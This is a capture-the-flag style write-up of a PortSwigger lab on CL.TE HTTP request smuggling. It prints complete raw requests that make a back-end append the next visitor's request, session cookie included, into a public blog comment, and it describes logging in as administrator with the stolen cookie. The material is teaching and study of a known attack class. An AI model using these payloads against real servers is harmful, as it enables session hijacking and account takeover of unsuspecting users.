| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — CL.TE, Session Hijacking via Comment Sink |
| Difficulty | Practitioner |
| Objective | Smuggle a request that causes a victim's request to be appended to a comment, then steal their session cookie |
| Note | Switch Burp Repeater to HTTP/1. Disable "Update Content-Length." |
HTTP Request Smuggling — Capturing Other Users' Requests — Writeup¶
A blog with a comment section:
Intercepting the post comment request gives us the structure we'll use as our smuggling sink:
The comment endpoint accepts a comment= parameter that gets stored and displayed publicly. If we can make another user's request body land in that parameter, their cookies will appear in the comment.
First Attempt — Confirming the Smuggle Works¶
CL.TE setup — front-end uses Content-Length, back-end uses Transfer-Encoding. Crafting the payload with the comment POST as the smuggled suffix:
POST / HTTP/1.1
Host: 0ae30037031f377b82b99255000600dd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
csrf=fnJGdDEhkvEmkTE88pBrXnHKJ4eRnxaP&postId=9&comment=teto&name=teto&email=teto%40tetomail.com&website=https%3A%2F%2Fteto.com
After sending and reloading: Invalid CSRF token (session does not contain a CSRF token).
The smuggled comment POST fired — but failed because there's no session cookie in the smuggled request. Adding our own Cookie header to the smuggled request:
Send, reload the browser — the comment appears on the post:
The mechanism works. The smuggled comment POST is executing on the back-end.
Stealing Another User's Request¶
The key insight: the comment parameter is the last field in the POST body. If we inflate the inner Content-Length of the smuggled request far beyond the actual data we send, the back-end waits for more bytes — and when the next real user's request arrives, it gets appended to our body, landing in the comment field. Their full request, including their Cookie header, gets stored as a comment.
Moving comment= to be the last parameter in the body and setting an aggressively inflated Content-Length — 810 bytes, when our actual data is much shorter:
POST / HTTP/1.1
Host: 0ae30037031f377b82b99255000600dd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 990
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 810
Cookie: session=9saIW1xpyuseJFyPWXFbTaVImNLxcbh6
csrf=fnJGdDEhkvEmkTE88pBrXnHKJ4eRnxaP&postId=9&name=mikuhack&email=mikuhack%40tetomail.com&website=https%3A%2F%2Fmikuhack.com&comment=mikuhack
The outer Content-Length: 990 covers the entire smuggled block. The smuggled POST has Content-Length: 810 — much larger than the actual body — so the back-end keeps reading from the connection, pulling in whatever request arrives next.
Sending the request and waiting. After a few minutes, reloading the post:
A comment appeared containing the victim's full request body — including their session cookie:
Dropping that cookie into the browser's storage, reloading — logged in as the administrator the lab is solved :P
Resources¶
- PortSwigger — Capturing other users' requests
- PortSwigger — HTTP Request Smuggling
- Burp Suite Professional — Repeater (HTTP/1, disable Update Content-Length)